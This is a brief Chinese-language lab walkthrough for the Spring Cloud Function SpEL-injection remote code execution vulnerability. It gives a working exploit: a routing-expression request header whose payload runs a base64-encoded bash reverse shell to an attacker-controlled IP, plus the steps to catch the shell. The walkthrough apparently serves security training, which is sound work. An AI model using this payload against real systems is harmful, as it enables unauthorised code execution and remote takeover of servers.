名称: Spring Cloud Function SPEL 远程代码执行
描述: Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
靶场打开以后,访问这个地址,抓取这个地址的数据包
/functionRouter
把数据包的请求模式改成POST,注意:POST不能直接切换要右键通过选项来切换
在请求头中添加如下字段,其中这段base64的值是反弹shell的命令,要自己替换成自己的。
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEzOC85MDA0IDA+JjE=}|{base64,-d}|{bash,-i}")
攻击机上监听指定端口 :
点击发送数据包后,即可在这边接收到来自目标的shell